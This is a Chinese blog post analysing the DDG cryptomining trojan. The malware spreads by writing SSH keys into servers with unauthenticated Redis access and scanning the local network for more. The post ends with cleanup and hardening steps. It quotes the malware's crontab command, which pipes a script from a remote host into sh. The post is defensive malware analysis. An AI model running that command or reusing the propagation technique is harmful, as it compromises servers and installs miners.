比特币挖矿木马Ddg分析

标签:比特币木马

访客:27840  发表于:2017-03-20 09:47:12

比特币挖矿木马Ddg分析

引言

近年来go语言火热,一些恶意软件也闻风而起,然而go程序在编译过程中集成了大量的基础库,并且不同版本格式也存在较大差异,给逆向带来不小的阻力。二进制安全,让我们一起剖析下基于go的恶意软件。

经安全人员协查分析,发现是通过redis漏洞传播的挖矿木马-ddg,大量消耗服务器资源,难以清除并具有内网扩散功能。

0x01 木马行为

比特币挖矿木马Ddg分析

登陆被感染服务器,利用top查看CPU使用率,找到CPU消耗进程AnXqV

通过kill杀死AnXqV进程并进行删除,约15分种后系统告警,AnXqV再次创建并启动

此时查看crontab定时器发现指令:

  1. curl -fsSL http://www.haveabitchin.com/pm.sh?223 | sh 

定时下载并执行如下脚本:

比特币挖矿木马Ddg分析

0x02 木马功能

ddg.222为golang编写无明显函数符号和字符串特征

比特币挖矿木马Ddg分析

根据编译版本编写辅助脚本还原golang函数符号

比特币挖矿木马Ddg分析

摘要出ddg主要使用到的功能库

  1. shirou_gopsutil,VividCortex_godaemon,boltdb_bolt,garyburd_redigo,golang_protobuf_proto,hashicorp_yamux,moul_http2curl,parnurzeal_gorequest,satori_go_2euuid 

分别具有启动后台守护进程,监控进程和系统信息(Cpu和内存,网络,机器码,Mac地址等),实现redis客户端操作key/value数据库操作,开启RPC服务远程调用,单TCP多路复用等功能

分析ddg执行执行过程,首先调用ddg_aaredis__Server_genLanAddress接口获取局域网地址

比特币挖矿木马Ddg分析

调用ddg_aaredis__Server_worker开启扫描,在内网子网掩码内循环调用分别对每个ip测试了ddg_aaredis__Server_testRedis函数

比特币挖矿木马Ddg分析

ddg_aaredis__Server_testRedis函数主要用于测试redis漏洞,通过测试是否可以未授权访问redis并写入公钥登陆来进行扩散

比特币挖矿木马Ddg分析

梳理木马功能:

1、对可以未授权访问redis的服务器写入公钥登录,定时下载并执行脚本;

2、脚本下载AnXqV和ddg文件并运行,AnXqV进行挖矿,ddg进行系统监控远程调用并内网传播。

0x03 清理方案

根据以上原理对木马进行清除,由于不同版本木马的写入文件名不同,需对照各自木马脚本下载的文件路径和文件名执行以下操作:

1、设置redis授权访问。

2、阻断服务器通讯。

(如iptables -A INPUT -s xmr.crypto-pool.fr -j DROP and iptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP)

3、清除定时器任务。(如systemctl stop crond)

4、删除木马和未知公钥文件。(如/tmp/ddg.222,/tmp/AnXqV.yam,/tmp/AnXqV,/tmp/AnXqV.noaes等及 ~/.ssh/中未知授权)

5、终止木马进程。(如pkill AnXqV,pkill ddg.222)

0x04 总结

通过对此次木马扩散事件的分析和处理,为减少和杜绝此类事件的再次发生,提高安全预警能力,在此提醒业界同仁加强关注日常高带宽高资源服务器的运维安全细节:

1、对各类访问认证进行严格的授权

2、定期排查和实时抽查服务器状态,异常流量及cpu消耗需及时上报分析并与专业安全团队合作协查

3、关注敏感安全事件,及时修复高危漏洞

评论(0)

您可以在评论框内@您的好友一起参与讨论!

--> --> -->
<--script type="text/javascript">BAIDU_CLB_fillSlot("927898");